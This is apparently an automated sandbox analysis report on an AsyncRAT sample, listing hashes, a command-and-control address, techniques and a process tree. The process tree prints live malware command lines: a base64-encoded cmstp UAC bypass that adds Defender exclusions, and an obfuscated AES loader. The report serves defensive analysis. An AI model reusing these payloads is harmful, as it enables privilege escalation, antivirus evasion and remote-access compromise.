asyncrat | 378632fc3ad9d88b55ef4494b897cc7eb5d3995c572b3bf4b7a86c88e395105c

Analysis

max time kernel
127s
max time network
143s
platform
windows10-ltsc 2021_x64
resource
win10ltsc2021-20241211-en
resource tags

arch:x64arch:x86image:win10ltsc2021-20241211-enlocale:en-usos:windows10-ltsc 2021-x64system
submitted
28-12-2024 07:34

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General

Target

9780_output.vbs
Size

203KB
MD5

0fa1cc8286bef599f8b2ef9827cbe77c
SHA1

6ea37fd1ebaf7862463c52b599397c5bac7d14cc
SHA256

378632fc3ad9d88b55ef4494b897cc7eb5d3995c572b3bf4b7a86c88e395105c
SHA512

df6026088cdee9a57dae4484c6eb78d9f84dfc290c16c13ac555fdab0b117e45a6d44ae7204f1b0aaa1915412af7835301c3b3a9944e793dc41e97cdd81b7f06
SSDEEP

3072:a7H0KjIzs3jJXbHc6XVEZDcpBj8n6R7Nxoa7RA9lOxAuAEnF6TGpE:aYKj7jTq+oaGOAurE

Score

10^/10

asyncrat default discovery execution rat

Malware Config

Extracted

Family

asyncrat

Version

0.5.8

Botnet

Default

87.120.113.125:55644

Mutex

Syx7cNbJlqC2

Attributes

delay
3
install
false
install_file
winserve.exe
install_folder
%AppData%

aes.plain

Signatures

AsyncRat
AsyncRAT is designed to remotely monitor and control other computers written in C#.
rat asyncrat
Asyncrat family
asyncrat

Async RAT payload 1 IoCs

rat

resource	yara_rule
behavioral3/memory/5024-127-0x00000000072F0000-0x0000000007302000-memory.dmp	family_asyncrat

Blocklisted process makes network request 2 IoCs

flow	pid	Process
36	5024	powershell.exe
40	5024	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 5 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
1156	powershell.exe
3084	powershell.exe
2068	powershell.exe
4756	powershell.exe
5024	powershell.exe

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000\Control Panel\International\Geo\Nation	WScript.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000\Control Panel\International\Geo\Nation	WScript.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 5 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	WScript.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	cmd.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Kills process with taskkill 1 IoCs

evasion

pid	Process
756	taskkill.exe

Modifies registry class 1 IoCs

description	ioc	Process
Key created	\REGISTRY\USER\S-1-5-21-2366345620-3342093254-3461191856-1000_Classes\Local Settings	powershell.exe

Suspicious behavior: EnumeratesProcesses 10 IoCs

pid	Process
1156	powershell.exe
1156	powershell.exe
3084	powershell.exe
3084	powershell.exe
2068	powershell.exe
2068	powershell.exe
4756	powershell.exe
4756	powershell.exe
5024	powershell.exe
5024	powershell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	1156	powershell.exe
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeIncreaseQuotaPrivilege	3084	powershell.exe
Token: SeSecurityPrivilege	3084	powershell.exe
Token: SeTakeOwnershipPrivilege	3084	powershell.exe
Token: SeLoadDriverPrivilege	3084	powershell.exe
Token: SeSystemProfilePrivilege	3084	powershell.exe
Token: SeSystemtimePrivilege	3084	powershell.exe
Token: SeProfSingleProcessPrivilege	3084	powershell.exe
Token: SeIncBasePriorityPrivilege	3084	powershell.exe
Token: SeCreatePagefilePrivilege	3084	powershell.exe
Token: SeBackupPrivilege	3084	powershell.exe
Token: SeRestorePrivilege	3084	powershell.exe
Token: SeShutdownPrivilege	3084	powershell.exe
Token: SeDebugPrivilege	3084	powershell.exe
Token: SeSystemEnvironmentPrivilege	3084	powershell.exe
Token: SeRemoteShutdownPrivilege	3084	powershell.exe
Token: SeUndockPrivilege	3084	powershell.exe
Token: SeManageVolumePrivilege	3084	powershell.exe
Token: 33	3084	powershell.exe
Token: 34	3084	powershell.exe
Token: 35	3084	powershell.exe
Token: 36	3084	powershell.exe
Token: SeDebugPrivilege	756	taskkill.exe
Token: SeDebugPrivilege	2068	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeIncreaseQuotaPrivilege	4756	powershell.exe
Token: SeSecurityPrivilege	4756	powershell.exe
Token: SeTakeOwnershipPrivilege	4756	powershell.exe
Token: SeLoadDriverPrivilege	4756	powershell.exe
Token: SeSystemProfilePrivilege	4756	powershell.exe
Token: SeSystemtimePrivilege	4756	powershell.exe
Token: SeProfSingleProcessPrivilege	4756	powershell.exe
Token: SeIncBasePriorityPrivilege	4756	powershell.exe
Token: SeCreatePagefilePrivilege	4756	powershell.exe
Token: SeBackupPrivilege	4756	powershell.exe
Token: SeRestorePrivilege	4756	powershell.exe
Token: SeShutdownPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeSystemEnvironmentPrivilege	4756	powershell.exe
Token: SeRemoteShutdownPrivilege	4756	powershell.exe
Token: SeUndockPrivilege	4756	powershell.exe
Token: SeManageVolumePrivilege	4756	powershell.exe
Token: 33	4756	powershell.exe
Token: 34	4756	powershell.exe
Token: 35	4756	powershell.exe
Token: 36	4756	powershell.exe
Token: SeIncreaseQuotaPrivilege	4756	powershell.exe
Token: SeSecurityPrivilege	4756	powershell.exe
Token: SeTakeOwnershipPrivilege	4756	powershell.exe
Token: SeLoadDriverPrivilege	4756	powershell.exe
Token: SeSystemProfilePrivilege	4756	powershell.exe
Token: SeSystemtimePrivilege	4756	powershell.exe
Token: SeProfSingleProcessPrivilege	4756	powershell.exe
Token: SeIncBasePriorityPrivilege	4756	powershell.exe
Token: SeCreatePagefilePrivilege	4756	powershell.exe
Token: SeBackupPrivilege	4756	powershell.exe
Token: SeRestorePrivilege	4756	powershell.exe
Token: SeShutdownPrivilege	4756	powershell.exe
Token: SeDebugPrivilege	4756	powershell.exe
Token: SeSystemEnvironmentPrivilege	4756	powershell.exe
Token: SeRemoteShutdownPrivilege	4756	powershell.exe
Token: SeUndockPrivilege	4756	powershell.exe
Token: SeManageVolumePrivilege	4756	powershell.exe

Suspicious use of WriteProcessMemory 25 IoCs

description	pid	Process	procid_target
PID 1816 wrote to memory of 1156	1816	WScript.exe	84
PID 1816 wrote to memory of 1156	1816	WScript.exe	84
PID 1156 wrote to memory of 1768	1156	powershell.exe	88
PID 1156 wrote to memory of 1768	1156	powershell.exe	88
PID 1768 wrote to memory of 4816	1768	csc.exe	89
PID 1768 wrote to memory of 4816	1768	csc.exe	89
PID 1156 wrote to memory of 3856	1156	powershell.exe	90
PID 1156 wrote to memory of 3856	1156	powershell.exe	90
PID 1816 wrote to memory of 6044	1816	WScript.exe	104
PID 1816 wrote to memory of 6044	1816	WScript.exe	104
PID 6044 wrote to memory of 2068	6044	cmd.exe	106
PID 6044 wrote to memory of 2068	6044	cmd.exe	106
PID 6044 wrote to memory of 2068	6044	cmd.exe	106
PID 2068 wrote to memory of 4756	2068	powershell.exe	107
PID 2068 wrote to memory of 4756	2068	powershell.exe	107
PID 2068 wrote to memory of 4756	2068	powershell.exe	107
PID 2068 wrote to memory of 1872	2068	powershell.exe	110
PID 2068 wrote to memory of 1872	2068	powershell.exe	110
PID 2068 wrote to memory of 1872	2068	powershell.exe	110
PID 1872 wrote to memory of 3636	1872	WScript.exe	111
PID 1872 wrote to memory of 3636	1872	WScript.exe	111
PID 1872 wrote to memory of 3636	1872	WScript.exe	111
PID 3636 wrote to memory of 5024	3636	cmd.exe	113
PID 3636 wrote to memory of 5024	3636	cmd.exe	113
PID 3636 wrote to memory of 5024	3636	cmd.exe	113

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\9780_output.vbs"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1816
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -Command Invoke-Expression ([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('ZnVuY3Rpb24gcmFuZG9tWFlaLUludm9rZS1VQUMgewoKCnBhcmFtKAogICAgW1BhcmFtZXRlcihNYW5kYXRvcnkgPSAkdHJ1ZSldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpFeGVjdXRhYmxlLAogCiAgICBbUGFyYW1ldGVyKCldCiAgICBbc3RyaW5nXSRyYW5kb21YWVpDb21tYW5kCikKCiRyYW5kb21YWVpJbmZEYXRhID0gQCcKW3ZlcnNpb25dClNpZ25hdHVyZT0kY2hpY2FnbyQKQWR2YW5jZWRJTkY9Mi41CgpbRGVmYXVsdEluc3RhbGxdCkN1c3RvbURlc3RpbmF0aW9uPXJhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnMKUnVuUHJlU2V0dXBDb21tYW5kcz1yYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb24KCltyYW5kb21YWVotUnVuUHJlU2V0dXBDb21tYW5kc1NlY3Rpb25dCkxJTkUKdGFza2tpbGwgL0lNIGNtc3RwLmV4ZSAvRgoKW3JhbmRvbVhZWi1DdXN0SW5zdERlc3RTZWN0aW9uQWxsVXNlcnNdCjQ5MDAwLDQ5MDAxPXJhbmRvbVhZWi1BbGxVU2VyX0xESURTZWN0aW9uLCA3CgpbcmFuZG9tWFlaLUFsbFVTZXJfTERJRFNlY3Rpb25dCiJIS0xNIiwgIlNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXEFwcCBQYXRoc1xDTU1HUjMyLkVYRSIsICJQcm9maWxlSW5zdGFsbFBhdGgiLCAiJVVuZXhwZWN0ZWRFcnJvciUiLCAiIgoKW1N0cmluZ3NdClNlcnZpY2VOYW1lPSJyYW5kb21YWVpWUE4iClNob3J0U3ZjTmFtZT0icmFuZG9tWFlaVlBOIgonQAoKJHJhbmRvbVhZWkNvZGUgPSBAIgp1c2luZyBTeXN0ZW07CnVzaW5nIFN5c3RlbS5UaHJlYWRpbmc7CnVzaW5nIFN5c3RlbS5UZXh0Owp1c2luZyBTeXN0ZW0uSU87CnVzaW5nIFN5c3RlbS5EaWFnbm9zdGljczsKdXNpbmcgU3lzdGVtLkNvbXBvbmVudE1vZGVsOwp1c2luZyBTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXM7CgpwdWJsaWMgY2xhc3MgcmFuZG9tWFlaQ01TVFBCeXBhc3MKewogICAgW0RsbEltcG9ydCgiU2hlbGwzMi5kbGwiLCBDaGFyU2V0ID0gQ2hhclNldC5BdXRvLCBTZXRMYXN0RXJyb3IgPSB0cnVlKV0KICAgIHN0YXRpYyBleHRlcm4gSW50UHRyIFNoZWxsRXhlY3V0ZShJbnRQdHIgaHduZCwgc3RyaW5nIGxwT3BlcmF0aW9uLCBzdHJpbmcgbHBGaWxlLCBzdHJpbmcgbHBQYXJhbWV0ZXJzLCBzdHJpbmcgbHBEaXJlY3RvcnksIGludCBuU2hvd0NtZCk7CgogICAgW0RsbEltcG9ydCgidXNlcjMyLmRsbCIpXQogICAgc3RhdGljIGV4dGVybiBJbnRQdHIgRmluZFdpbmRvdyhzdHJpbmcgbHBDbGFzc05hbWUsIHN0cmluZyBscFdpbmRvd05hbWUpOwoKICAgIFtEbGxJbXBvcnQoInVzZXIzMi5kbGwiKV0KICAgIHN0YXRpYyBleHRlcm4gYm9vbCBQb3N0TWVzc2FnZShJbnRQdHIgaFduZCwgdWludCBNc2csIGludCB3UGFyYW0sIGludCBsUGFyYW0pOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIEJpbmFyeVBhdGggPSAiYzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbXN0cC5leGUiOwoKICAgIHB1YmxpYyBzdGF0aWMgc3RyaW5nIFNldEluZkZpbGUoc3RyaW5nIENvbW1hbmRUb0V4ZWN1dGUsIHN0cmluZyBJbmZEYXRhKQogICAgewogICAgICAgIFN0cmluZ0J1aWxkZXIgT3V0cHV0RmlsZSA9IG5ldyBTdHJpbmdCdWlsZGVyKCk7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIkM6XFx3aW5kb3dzXFx0ZW1wIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoIlxcIik7CiAgICAgICAgT3V0cHV0RmlsZS5BcHBlbmQoUGF0aC5HZXRSYW5kb21GaWxlTmFtZSgpLlNwbGl0KENvbnZlcnQuVG9DaGFyKCIuIikpWzBdKTsKICAgICAgICBPdXRwdXRGaWxlLkFwcGVuZCgiLmluZiIpOwogICAgICAgIFN0cmluZ0J1aWxkZXIgbmV3SW5mRGF0YSA9IG5ldyBTdHJpbmdCdWlsZGVyKEluZkRhdGEpOwogICAgICAgIG5ld0luZkRhdGEuUmVwbGFjZSgiTElORSIsIENvbW1hbmRUb0V4ZWN1dGUpOwogICAgICAgIEZpbGUuV3JpdGVBbGxUZXh0KE91dHB1dEZpbGUuVG9TdHJpbmcoKSwgbmV3SW5mRGF0YS5Ub1N0cmluZygpKTsKICAgICAgICByZXR1cm4gT3V0cHV0RmlsZS5Ub1N0cmluZygpOwogICAgfQoKICAgIHB1YmxpYyBzdGF0aWMgYm9vbCByYW5kb21YWVpFeGVjdXRlKHN0cmluZyBDb21tYW5kVG9FeGVjdXRlLCBzdHJpbmcgSW5mRGF0YSkKICAgIHsKICAgICAgICBjb25zdCBpbnQgV01fU1lTS0VZRE9XTiA9IDB4MDEwMDsKICAgICAgICBjb25zdCBpbnQgVktfUkVUVVJOID0gMHgwRDsKCiAgICAgICAgU3RyaW5nQnVpbGRlciBJbmZGaWxlID0gbmV3IFN0cmluZ0J1aWxkZXIoKTsKICAgICAgICBJbmZGaWxlLkFwcGVuZChTZXRJbmZGaWxlKENvbW1hbmRUb0V4ZWN1dGUsIEluZkRhdGEpKTsKCiAgICAgICAgUHJvY2Vzc1N0YXJ0SW5mbyBzdGFydEluZm8gPSBuZXcgUHJvY2Vzc1N0YXJ0SW5mbyhCaW5hcnlQYXRoKTsKICAgICAgICBzdGFydEluZm8uQXJndW1lbnRzID0gIi9hdSAiICsgSW5mRmlsZS5Ub1N0cmluZygpOwogICAgICAgIHN0YXJ0SW5mby5XaW5kb3dTdHlsZSA9IFByb2Nlc3NXaW5kb3dTdHlsZS5IaWRkZW47ICAvLyBIaWRkZW4gd2luZG93CiAgICAgICAgSW50UHRyIGRwdHIgPSBNYXJzaGFsLkFsbG9jSEdsb2JhbCgxKTsKICAgICAgICBTaGVsbEV4ZWN1dGUoZHB0ciwgIiIsIEJpbmFyeVBhdGgsIHN0YXJ0SW5mby5Bcmd1bWVudHMsICIiLCAwKTsKCiAgICAgICAgVGhyZWFkLlNsZWVwKDMwMDApOwogICAgICAgIEludFB0ciBXaW5kb3dUb0ZpbmQgPSBGaW5kV2luZG93KG51bGwsICJyYW5kb21YWVpWUE4iKTsKCiAgICAgICAgUG9zdE1lc3NhZ2UoV2luZG93VG9GaW5kLCBXTV9TWVNLRVlET1dOLCBWS19SRVRVUk4sIDApOwogICAgICAgIFRocmVhZC5TbGVlcCg1MDAwKTsKICAgICAgICBGaWxlLkRlbGV0ZShJbmZGaWxlLlRvU3RyaW5nKCkpOwogICAgICAgIHJldHVybiB0cnVlOwogICAgfQp9CiJACgokcmFuZG9tWFlaQ29uc2VudFByb21wdCA9IChHZXQtSXRlbVByb3BlcnR5IEhLTE06XFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzXEN1cnJlbnRWZXJzaW9uXFBvbGljaWVzXFN5c3RlbSkuQ29uc2VudFByb21wdEJlaGF2aW9yQWRtaW4KJHJhbmRvbVhZWlNlY3VyZURlc2t0b3BQcm9tcHQgPSAoR2V0LUl0ZW1Qcm9wZXJ0eSBIS0xNOlxTT0ZUV0FSRVxNaWNyb3NvZnRcV2luZG93c1xDdXJyZW50VmVyc2lvblxQb2xpY2llc1xTeXN0ZW0pLlByb21wdE9uU2VjdXJlRGVza3RvcAppZiAoJHJhbmRvbVhZWkNvbnNlbnRQcm9tcHQgLUVxIDIgLWFuZCAkcmFuZG9tWFlaU2VjdXJlRGVza3RvcFByb21wdCAtRXEgMSkgewogICAgcmV0dXJuCn0KCnRyeSB7CiAgICAkcmFuZG9tWFlaVXNlciA9IFtTeXN0ZW0uU2VjdXJpdHkuUHJpbmNpcGFsLldpbmRvd3NJZGVudGl0eV06OkdldEN1cnJlbnQoKS5OYW1lCiAgICAkcmFuZG9tWFlaQWRtID0gR2V0LUxvY2FsR3JvdXBNZW1iZXIgLVNJRCBTLTEtNS0zMi01NDQgfCBXaGVyZS1PYmplY3QgeyAkXy5OYW1lIC1lcSAkcmFuZG9tWFlaVXNlciB9Cn0gY2F0Y2ggewogICAgJHJhbmRvbVhZWlVzZXIgPSBbU3lzdGVtLlNlY3VyaXR5LlByaW5jaXBhbC5XaW5kb3dzSWRlbnRpdHldOjpHZXRDdXJyZW50KCkuTmFtZQogICAgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgPSAnUy0xLTUtMzItNTQ0JwogICAgJHJhbmRvbVhZWkFkbWluR3JvdXAgPSBHZXQtV21pT2JqZWN0IC1DbGFzcyBXaW4zMl9Hcm91cCB8IFdoZXJlLU9iamVjdCB7ICRfLlNJRCAtZXEgJHJhbmRvbVhZWkFkbWluR3JvdXBTSUQgfQogICAgJHJhbmRvbVhZWk1lbWJlcnMgPSAkcmFuZG9tWFlaQWRtaW5Hcm91cC5HZXRSZWxhdGVkKCJXaW4zMl9Vc2VyQWNjb3VudCIpCiAgICAkcmFuZG9tWFlaTWVtYmVycyB8IEZvckVhY2gtT2JqZWN0IHsgaWYgKCRfLkNhcHRpb24gLWVxICRyYW5kb21YWVpVc2VyKSB7ICRyYW5kb21YWVpBZG0gPSAkdHJ1ZSB9IH0KfQoKaWYgKCEkcmFuZG9tWFlaQWRtKSB7CiAgICByZXR1cm4KfQoKdHJ5IHsKICAgIGlmICghW1N5c3RlbS5JTy5GaWxlXTo6RXhpc3RzKCRyYW5kb21YWVpFeGVjdXRhYmxlKSkgewogICAgICAgICRyYW5kb21YWVpFeCA9IChHZXQtQ29tbWFuZCAkcmFuZG9tWFlaRXhlY3V0YWJsZSkKICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXguU291cmNlKSkgewogICAgICAgICAgICAkcmFuZG9tWFlaRXhlY3V0YWJsZSA9ICRFeGVjdXRpb25Db250ZXh0LlNlc3Npb25TdGF0ZS5QYXRoLkdldFVucmVzb2x2ZWRQcm92aWRlclBhdGhGcm9tUFNQYXRoKCRyYW5kb21YWVpFeGVjdXRhYmxlKQogICAgICAgICAgICBpZiAoIVtTeXN0ZW0uSU8uRmlsZV06OkV4aXN0cygkcmFuZG9tWFlaRXhlY3V0YWJsZSkpIHsKICAgICAgICAgICAgICAgIHJldHVybgogICAgICAgICAgICB9CiAgICAgICAgfSBlbHNlIHsKICAgICAgICAgICAgJHJhbmRvbVhZWkV4ZWN1dGFibGUgPSAoR2V0LUNvbW1hbmQgJHJhbmRvbVhZWkV4ZWN1dGFibGUpLk5hbWUKICAgICAgICB9CiAgICB9Cn0gY2F0Y2ggewogICAgcmV0dXJuCn0KCmlmICgkcmFuZG9tWFlaRXhlY3V0YWJsZS5Db250YWlucygicG93ZXJzaGVsbCIpKSB7CiAgICBpZiAoJHJhbmRvbVhZWkNvbW1hbmQgLW5lICIiKSB7CiAgICAgICAgJHJhbmRvbVhZWkZpbmFsID0gInBvd2Vyc2hlbGwgLVdpbmRvd1N0eWxlIEhpZGRlbiAtYyAiIiRyYW5kb21YWVpDb21tYW5kIiIiCiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlaWYgKCRyYW5kb21YWVpFeGVjdXRhYmxlLkNvbnRhaW5zKCJjbWQiKSkgewogICAgaWYgKCRyYW5kb21YWVpDb21tYW5kIC1uZSAiIikgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICJjbWQgL2MgIiIkcmFuZG9tWFlaQ29tbWFuZCIiIiAgIyBDaGFuZ2VkIHRvIC9jIHRvIGNsb3NlIHRoZSBjbWQgd2luZG93CiAgICB9IGVsc2UgewogICAgICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKICAgIH0KfSBlbHNlIHsKICAgICRyYW5kb21YWVpGaW5hbCA9ICIkcmFuZG9tWFlaRXhlY3V0YWJsZSAkcmFuZG9tWFlaQ29tbWFuZCIKfQoKZnVuY3Rpb24gcmFuZG9tWFlaRXhlY3V0ZSB7CiAgICB0cnkgewogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9IGNhdGNoIHsKICAgICAgICBBZGQtVHlwZSAkcmFuZG9tWFlaQ29kZQogICAgICAgICRyYW5kb21YWVpSZXN1bHQgPSBbcmFuZG9tWFlaQ01TVFBCeXBhc3NdOjpyYW5kb21YWVpFeGVjdXRlKCRyYW5kb21YWVpGaW5hbCwgJHJhbmRvbVhZWkluZkRhdGEpCiAgICB9CgogICAgaWYgKCRyYW5kb21YWVpSZXN1bHQpIHsKICAgICAgICByZXR1cm4KICAgIH0gZWxzZSB7CiAgICAgICAgcmV0dXJuCiAgICB9Cn0KCiRyYW5kb21YWVpQcm9jZXNzID0gKChHZXQtV21pT2JqZWN0IC1DbGFzcyB3aW4zMl9wcm9jZXNzKS5uYW1lIHwgU2VsZWN0LVN0cmluZyAiY21zdHAiIHwgU2VsZWN0LU9iamVjdCAqIC1GaXJzdCAxKS5QYXR0ZXJuCmlmICgkcmFuZG9tWFlaUHJvY2VzcyAtZXEgImNtc3RwIikgewogICAgdHJ5IHsKICAgICAgICBTdG9wLVByb2Nlc3MgLU5hbWUgImNtc3RwIiAtRm9yY2UKICAgICAgICByYW5kb21YWVpFeGVjdXRlCiAgICB9IGNhdGNoIHsKICAgICAgICByZXR1cm4KICAgIH0KfSBlbHNlIHsKICAgIHJhbmRvbVhZWkV4ZWN1dGUKfQp9CgojIEZ1bmN0aW9uIENhbGwKcmFuZG9tWFlaLUludm9rZS1VQUMgLXJhbmRvbVhZWkV4ZWN1dGFibGUgInBvd2Vyc2hlbGwiIC1yYW5kb21YWVpDb21tYW5kICIuKCdBZGQtTXBQJyArICdyZWZlcmVuY2UnKSAtRXhjbHVzaW9uUGF0aCBDOlwgLUV4Y2x1c2lvblByb2Nlc3MgcG93ZXJzaGVsbC5leGUi')))
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:1156
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
    "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\ww4jh4rx\ww4jh4rx.cmdline"
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:1768
  - - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
      C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RESD4B5.tmp" "c:\Users\Admin\AppData\Local\Temp\ww4jh4rx\CSC98977C8CDA3849099B637B97F12D4F8.TMP"
      4⤵
      PID:4816
- - C:\windows\system32\cmstp.exe
    "C:\windows\system32\cmstp.exe" /au C:\windows\temp\zwgzgjte.inf
    3⤵
    PID:3856
- C:\Windows\system32\cmd.exe
  C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\c.bat" "
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:6044
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -command function decrypt_function($param_var){ IEX '#EspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNKEspacoJUNK '.Replace('Espaco', ''); $aes_var=[System.Security.Cryptography.Aes]::Create(); $aes_var.Mode=[System.Security.Cryptography.CipherMode]::CBC; $aes_var.Padding=[System.Security.Cryptography.PaddingMode]::PKCS7; $aes_var.Key=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('SMHc0oorp/7T1zNdPR4he+Baz+UuGBpTbs1CD2UuSHk='); $aes_var.IV=[System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('GRkJmm8rX5p5Ix/3aqFmWg=='); $decryptor_var=$aes_var.CreateDecryptor(); $return_var=$decryptor_var.TransformFinalBlock($param_var, 0, $param_var.Length); $decryptor_var.Dispose(); $aes_var.Dispose(); $return_var;}function decompress_function($param_var){ IEX '$XPcqe=New-Object System.IO.MOBFOBFUSCUDAemOBFOBFUSCUDAorOBFOBFUSCUDAySOBFOBFUSCUDAtrOBFOBFUSCUDAeaOBFOBFUSCUDAm(,$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX '$HOKtt=New-Object System.IO.OBFOBFUSCUDAMOBFOBFUSCUDAeOBFOBFUSCUDAmOBFOBFUSCUDAoOBFOBFUSCUDArOBFOBFUSCUDAyOBFOBFUSCUDASOBFOBFUSCUDAtOBFOBFUSCUDArOBFOBFUSCUDAeOBFOBFUSCUDAaOBFOBFUSCUDAmOBFOBFUSCUDA;'.Replace('OBFOBFUSCUDA', ''); IEX '$XhXgp=New-Object System.IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAeOBFOBFUSCUDAssOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAGZOBFOBFUSCUDAipOBFOBFUSCUDAStOBFOBFUSCUDAreOBFOBFUSCUDAamOBFOBFUSCUDA($XPcqe, [IO.COBFOBFUSCUDAomOBFOBFUSCUDAprOBFOBFUSCUDAesOBFOBFUSCUDAsiOBFOBFUSCUDAonOBFOBFUSCUDA.CoOBFOBFUSCUDAmpOBFOBFUSCUDAreOBFOBFUSCUDAssOBFOBFUSCUDAiOBFOBFUSCUDAoOBFOBFUSCUDAnOBFOBFUSCUDAMode]::DOBFOBFUSCUDAeOBFOBFUSCUDAcOBFOBFUSCUDAompOBFOBFUSCUDAreOBFOBFUSCUDAss);'.Replace('OBFOBFUSCUDA', ''); $XhXgp.CopyTo($HOKtt); $XhXgp.Dispose(); $XPcqe.Dispose(); $HOKtt.Dispose(); $HOKtt.ToArray();}function execute_function($param_var,$param2_var){ IEX '$gmgKaIqlDQfPwPX=[System.ROBFOBFUSCUDAeOBFOBFUSCUDAflOBFOBFUSCUDAectOBFOBFUSCUDAioOBFOBFUSCUDAn.OBFOBFUSCUDAAsOBFOBFUSCUDAseOBFOBFUSCUDAmbOBFOBFUSCUDAlOBFOBFUSCUDAyOBFOBFUSCUDA]::LOBFOBFUSCUDAoOBFOBFUSCUDAaOBFOBFUSCUDAdOBFOBFUSCUDA([byte[]]$param_var);'.Replace('OBFOBFUSCUDA', ''); IEX 